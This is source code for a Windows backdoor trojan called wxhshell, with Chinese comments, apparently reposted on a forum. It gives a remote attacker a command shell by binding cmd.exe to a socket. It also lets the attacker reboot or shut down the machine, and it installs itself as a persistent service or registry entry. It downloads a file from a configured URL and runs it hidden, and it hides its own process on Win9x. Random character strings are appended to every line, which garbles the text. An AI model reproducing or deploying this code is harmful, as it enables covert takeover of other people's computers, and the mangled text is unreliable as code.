  // 帮助 FwB }@)3  
  case '?': { HAof,* h$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RqV* O}Am  
    break; To_Y 8 G  
  } owz6j:  
  // 安装 5C}1iZEJ  
  case 'i': { E;Akm':  
    if(Install()) #nTzn2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +HGPn0As  
    else IQ$cLr-S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k E^%w?C  
    break; A4lW8&rHI  
    } @WmEcX|  
  // 卸载 }Zs y&K  
  case 'r': { %r1NRg8  
    if(Uninstall()) UMcQqV+vT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mBQA~@ }  
    else R^DZ@[\iV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qD@]FEw!O  
    break; #le1 ^ <w7  
    } sqtMhUQ?>w  
  // 显示 wxhshell 所在路径 k/ 6Qwb#  
  case 'p': { U3R;'80 f  
    char svExeFile[MAX_PATH]; TuF;>{~}  
    strcpy(svExeFile,"\n\r"); g4Y1*`}2f  
      strcat(svExeFile,ExeFile); p\A!"KC  
        send(wsh,svExeFile,strlen(svExeFile),0); ""0 cw  
    break; 3sh}(  
    } #(i9G^K  
  // 重启 z|p C*1A\  
  case 'b': { d`}t!]Gg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _#9F@SCA  
    if(Boot(REBOOT)) u,E_Ezq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8%eWB$<X  
    else { UDBMf2F]  
    closesocket(wsh); &7K 4tL  
    ExitThread(0); <_o).hE{  
    } 0j}!4D+  
    break; ^Z dDs8j  
    } |` N|S  
  // 关机 "s$$M\)T  
  case 'd': { thT2U8%T  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8h,>f#)0c  
    if(Boot(SHUTDOWN)) 8-s7^*!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GkOZ =ej  
    else { `#/0q*$  
    closesocket(wsh); *H2@lrc  
    ExitThread(0); 9oe=*#Ig1m  
    } No|T#=BZ[  
    break; Kc3BVZ71  
    } ? Zhnb0/  
  // 获取shell Gr),o6}p  
  case 's': { S.4gfY  
    CmdShell(wsh); DlMT<ld  
    closesocket(wsh); | e? :Uq  
    ExitThread(0); ^~ 95q0hq:  
    break; 5_H`6-q  
  } _l{`lQ}  
  // 退出 *VuiEBG  
  case 'x': { >/BMA;`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); AmyZ9r#{  
    CloseIt(wsh); !R`E+G@   
    break;  ktA5]f;  
    } x6qQ Y<>  
  // 离开 Whd\Ub8(  
  case 'q': { u~]O #v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uK6'TJ  
    closesocket(wsh); n'5LY9"  
    WSACleanup(); ZH~=;S-t  
    exit(1); k_o$ Ci  
    break; R^hlfKnt  
        } *F^t)K2  
  } /h(bMbZ  
  } NFs Cq_f  
{^z>uRZ3  
  // 提示信息 6rP?$mn2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); prk@uYCa =  
} Wx:He8N] H  
  } uht>@ WSg|  
ehpU`vQz  
  return; e|-%-juI  
} }xA Eu,n^  
99KW("C1F  
// shell模块句柄 VUneCt%  
int CmdShell(SOCKET sock) ITt*TuS 2c  
{ ]jB`"to*}  
STARTUPINFO si; [C0"vOTUb  
ZeroMemory(&si,sizeof(si));  X_\$hF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PwC9@c%c  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Jyz*W!kI  
PROCESS_INFORMATION ProcessInfo; B - 1Kfc  
char cmdline[]="cmd"; D;Bij=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Qo5yfdR  
  return 0; fe3a_gYPz  
} \ cr)O^&  
(i1q".  
// 自身启动模式 ['%$vnS5S  
int StartFromService(void) pXhN?joe  
{ znkc@8_4  
typedef struct p=d,kY  
{ Y 9SaYSX  
  DWORD ExitStatus; <Od5}  
  DWORD PebBaseAddress; .FdzEauVc  
  DWORD AffinityMask; F*Y]^9]  
  DWORD BasePriority; CZzgPId%x  
  ULONG UniqueProcessId; 3+4U?~^k*  
  ULONG InheritedFromUniqueProcessId; 2Kmnt(>  
}   PROCESS_BASIC_INFORMATION; riu_^!"Z_  
~p!=w#/  
PROCNTQSIP NtQueryInformationProcess; !^x;4@Ejm  
P-_2IZiz  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _qf$dGqc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A=f)ntH~  
c!ul9Cw  
  HANDLE             hProcess; 1G}\IK1+  
  PROCESS_BASIC_INFORMATION pbi; x,fX mgE  
@TraEBJGL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j9r%OZw{  
  if(NULL == hInst ) return 0;  84g8$~M  
BGrV,h^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ] :.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H?4t\pSS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KX^!t3l6  
t!&p5wJ*Q  
  if (!NtQueryInformationProcess) return 0; aJzyEb  
GTocN1,Z~a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f5`q9w_c  
  if(!hProcess) return 0; ,GY K3+}Z  
[!S%nYs&8L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ($X2SIZh  
m:W+s4!E  
  CloseHandle(hProcess); r]B`\XWz  
G@4n]c_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U:fGIEz{ZY  
if(hProcess==NULL) return 0; vPSY 1NC5  
WX&0;Kr  
HMODULE hMod; Ru~;awV?  
char procName[255]; mcb|N_#n/  
unsigned long cbNeeded; m4@Lml+B,  
\z8TYx@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `3r*Ae  
hHoc7  
  CloseHandle(hProcess); il-v>GJU7{  
SSi}1  
if(strstr(procName,"services")) return 1; // 以服务启动 8 k+Ctk  
$cH'9W}3K  
  return 0; // 注册表启动 Tk/K7h^  
} bt#=p 7 W  
>k^=+  
// 主模块 )zt*am;  
int StartWxhshell(LPSTR lpCmdLine) 52*zX 3  
{ ^zqz$G#  
  SOCKET wsl; <?Fgm1=o  
BOOL val=TRUE; v}-'L#6  
  int port=0; z@&_3 Gl  
  struct sockaddr_in door; R\yw9!ESd  
Lm'Ony^F  
  if(wscfg.ws_autoins) Install(); &&[j/d}J  
q{c6DCc]\  
port=atoi(lpCmdLine); %@*diJ  
hdN3r{  
if(port<=0) port=wscfg.ws_port; \u,hS*v0  
f&^K>Jt1@#  
  WSADATA data; :4Sj2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U,Z.MP Q  
=bf-+gZD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~v9\4O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a&ZH  
  door.sin_family = AF_INET; NK*~UePy  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); HI']{2p2}t  
  door.sin_port = htons(port); &#g;=jZ  
ep[7#\}5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SL:o.g(>4  
closesocket(wsl); ? {cF'RB.  
return 1; !e.@Xk.P6  
} `-Gs*#(/  
Tb}`]Y`X  
  if(listen(wsl,2) == INVALID_SOCKET) { (q*T.   
closesocket(wsl); )R{4"&&2  
return 1; s<z{(a  
} 4jis\W}%L3  
  Wxhshell(wsl); 6}Y^X  
  WSACleanup(); @<},-u  
ksm=<I"C  
return 0; EEn}Gw  
)1J&tV*U  
} !=cW+=1  
jbC7U9t7  
// 以NT服务方式启动 HnioB=fc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O|%><I?I  
{ ~b8U#'KD  
DWORD   status = 0; 5H==m~  
  DWORD   specificError = 0xfffffff; &{y- }[~  
#i.M-6SRd  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T -C2V$1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T\8|Q @  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,+,""t  
  serviceStatus.dwWin32ExitCode     = 0; 49_b)K.tB  
  serviceStatus.dwServiceSpecificExitCode = 0;  z{``v|K  
  serviceStatus.dwCheckPoint       = 0; 6!Ji-'\"  
  serviceStatus.dwWaitHint       = 0; ;2)@NH  
K-k;`s#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v?!x,H$Qd  
  if (hServiceStatusHandle==0) return; 69r<Z  
![U|2x   
status = GetLastError(); %dO'kU/-  
  if (status!=NO_ERROR) qN}0$x>p  
{ rt!5Tl+v  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $0D]d.w=  
    serviceStatus.dwCheckPoint       = 0; k=w%oqpN  
    serviceStatus.dwWaitHint       = 0; uQ9P6w=Nt  
    serviceStatus.dwWin32ExitCode     = status; |CY.Y,  
    serviceStatus.dwServiceSpecificExitCode = specificError; ph%/;?wY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /jeurCQ8#u  
    return; ?8b?{`@V  
  } ^#lPXC Bg  
n/S1Hae`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hUB _[#8#  
  serviceStatus.dwCheckPoint       = 0; z930Wi{@  
  serviceStatus.dwWaitHint       = 0; h+CTi6-p  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,V.X-`Y  
} !4]w b!F  
 yYp!s  
// 处理NT服务事件,比如:启动、停止 q*?LXKi  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /u*((AJ?Qv  
{ ggJn oL  
switch(fdwControl) ^0ipM/Lg  
{ ~F+{P4%`<  
case SERVICE_CONTROL_STOP: vUvIZa  
  serviceStatus.dwWin32ExitCode = 0; C{-e(G`Yd  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B Lw ssr.  
  serviceStatus.dwCheckPoint   = 0; [[Qu|?KEa  
  serviceStatus.dwWaitHint     = 0; =d.Z:L9d  
  { F^3Q0KsT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V ;1$FNR   
  } >q[(UV  
  return; dilRL,  
case SERVICE_CONTROL_PAUSE: qx5.LiF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; rrwBsa3  
  break; t]2~aK<]  
case SERVICE_CONTROL_CONTINUE: 4}!riWR   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; tO)mKN+ (  
  break; 2^E.sf$f  
case SERVICE_CONTROL_INTERROGATE: e%U0^! 8  
  break; x =5k74  
}; V[5-A $ft  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xWU0Ev)4U  
} D7olu29  
&^{HD }/{b  
// 标准应用程序主函数 GFYAg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k3}|^/bHJ  
{ L#M9!  
r|{h7'  
// 获取操作系统版本 7^ITedW@  
OsIsNt=GetOsVer(); >|/NDF=\s  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w(eAmN:zR  
co|jUDu>W  
  // 从命令行安装 @vCPX=c  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4=%Uv^M  
m@u!frE,  
  // 下载执行文件 =^|^" b  
if(wscfg.ws_downexe) { Zq}w}v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6 GO7[?U<  
  WinExec(wscfg.ws_filenam,SW_HIDE); m`}! dBi  
} 8G6PcTqv"  
ic%<39  
if(!OsIsNt) { +=)< Su.  
// 如果时win9x,隐藏进程并且设置为注册表启动 }f+If{  
HideProc(); l|/h4BJ'  
StartWxhshell(lpCmdLine); B-@6m  
} G{pfyfF  
else e_kP=|u)g  
  if(StartFromService()) Nh^T,nv*l  
  // 以服务方式启动 {W)Kz_  
  StartServiceCtrlDispatcher(DispatchTable); `M6!V  
else E*:!G  
  // 普通方式启动 1j`-lD  
  StartWxhshell(lpCmdLine); Q&opnvN  
lQ<2Vw#Yl  
return 0; +\fr3@Yc  
}
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只看该作者 1 发表于: 2006-10-10
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